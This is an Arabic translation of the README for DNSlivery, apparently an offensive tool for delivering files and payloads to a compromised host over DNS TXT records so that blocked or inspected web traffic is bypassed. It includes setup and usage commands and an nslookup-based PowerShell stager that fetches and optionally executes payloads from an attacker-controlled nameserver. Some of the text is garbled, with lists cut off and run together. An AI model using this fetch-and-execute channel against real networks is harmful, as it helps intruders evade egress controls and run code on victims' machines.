
سهولة تسليم الملفات والحمولات عبر DNS
تسليم سهل للملفات والحمولات عبر DNS.
هذا المشروع مستوحى في الأصل من PowerDNS والمقطع التقني لـ Joff Thyer في بودكاست Paul's Security Weekly الحلقة #590 (youtu.be/CP6cIwFJswQ).
يتيح DNSlivery تسليم الملفات إلى هدف باستخدام DNS كبروتوكول نقل.
الميزات:

تسليم الملفات و/أو الحمولات بسهولة إلى هدف تم اختراقه حيث يكون التسليم عبر الويب التقليدي غير ممكن ودون الحاجة إلى برنامج عميل مخصص. ينطبق هذا على البيئات المقيدة حيث يكون حركة الويب الصادرة محظورة أو ببساطة يتم فحصها بواسطة وكيل ويب فضولي.

على الرغم من وجود أدوات أكثر اكتمالاً لأنفاق DNS (مثل dnscat2 وiodine)، إلا أنها جميعها تتطلب تشغيل عميل مخصص على الهدف. المشكلة هي أنه ربما لا توجد طريقة أخرى غير DNS لتسليم العميل في مثل هذه البيئات المقيدة. بعبارة أخرى، بناء قناة اتصال DNS باستخدام هذه الأدوات يتطلب امتلاك قناة اتصال DNS بالفعل.
بالمقارنة، يوفر DNSlivery اتصالاً أحادي الاتجاه فقط من خادمك إلى الهدف ولكنه لا يتطلب أي عميل مخصص للقيام بذلك. وبالتالي، إذا كنت بحاجة إلى بناء قناة اتصال ثنائية الاتجاه موثوقة عبر DNS، استخدم DNSlivery لتسليم عميل أداة أنفاق DNS أكثر تقدماً إلى هدفك.
تماماً مثل معظم أدوات أنفاق DNS، يستخدم DNSlivery سجلات TXT لتخزين محتوى الملفات بتمثيل base64. ومع ذلك، لا يتطلب إعداد خادم DNS كامل المواصفات للعمل. بدلاً من ذلك، يستخدم مكتبة scapy للاستماع إلى حزم DNS الواردة وصياغة الاستجابة المطلوبة.

نظراً لأن معظم الملفات لا تناسب سجل TXT واحد، سيقوم DNSlivery بإنشاء سجلات متعددة مرتبة تحتوي على أجزاء base64 من الملف. كمثال، يوضح الرسم البياني أعلاه تسليم الجزء 42nd من الملف المسمى file.
من أجل استرجاع جميع أجزاء base64 وإعادة تجميعها دون الحاجة إلى عميل مخصص على الهدف، سيقوم DNSlivery بتوليد لكل ملف:

عملية التسليم على مرحلتين هذه مطلوبة لإضافة ميزات إلى المُدرج (مثل التعامل مع استجابات DNS المفقودة) التي لن تناسب سجل TXT واحد.
حالياً، يتم دعم أهداف PowerShell فقط. ومع ذلك، يمكن تحسين DNSlivery لدعم أهداف إضافية مثل bash أو python. يرجى إبلاغي @no0be إذا كانت هذه ميزة ترغب في رؤيتها مطبقة.
لا يتطلب DNSlivery بناء بنية تحتية خادم معقدة. في الواقع، هناك متطلبان بسيطان فقط:
NS في منطقة DNS العامة الخاصة بكudp/53 من الإنترنتالخطوة الأولى هي تفويض نطاق فرعي إلى الخادم الذي سيشغل DNSlivery عن طريق إنشاء سجل NS جديد في نطاقك. كمثال، قمت بإنشاء السجل التالي لتفويض النطاق الفرعي dnsd.no0.be إلى الخادم في vps.no0.be.
dnsd IN NS vps.no0.be.
إذا كانت منطقتك مُدارة بواسطة مزود طرف ثالث، فراجع وثائقهم لإنشاء سجل NS.
المتطلبات الوحيدة لتشغيل DNSlivery هي python3 ومكتبة scapy الخاصة به.
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
سيقوم DNSlivery بتسليم جميع ملفات دليل معين (pwd افتراضياً) ويحتاج إلى التشغيل بصلاحيات الجذر للاستماع إلى حزم udp/53 الواردة.
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
مثال:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
نظراً لأن مجموعة الأحرف المسموح بها لأسماء النطاقات أكثر تقييداً بكثير من أسماء ملفات UNIX (وفقاً لـ RFC1035)، سيقوم DNSlivery بإجراء التطبيع عند الحاجة.
مثال:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
انتبه إلى أن كود التطبيع الحالي ليس مثالياً لأنه لا يأخذ في الاعتبار أسماء الملفات المتداخلة أو حد الحجم.
على الهدف، ابدأ بـ استرجاع المشغّل (launcher) للملف المطلوب عن طريق طلب سجل TXT المخصص له. المشغّلات الثلاثة التالية مدعومة:
nslookup -type=txt [filename].[stager].[domain]
ثم، ببساطة انسخ والصق المشغّل المذكور في استجابة DNS إلى وحدة تحكم PowerShell لاسترجاع الملف على الهدف.
مثال:

| الإجراء | المشغّل | الوصف |
|---|
| طباعة | [filename].print.[domain] | (افتراضي) طباعة الملف المُسلَّم إلى وحدة التحكم |
| تنفيذ | [filename].exec.[domain] | تنفيذ الملف المُسلَّم (مفيد للنصوص البرمجية) |
| حفظ | [filename].save.[domain] | حفظ الملف المُسلَّم على القرص (مفيد للملفات الثنائية) |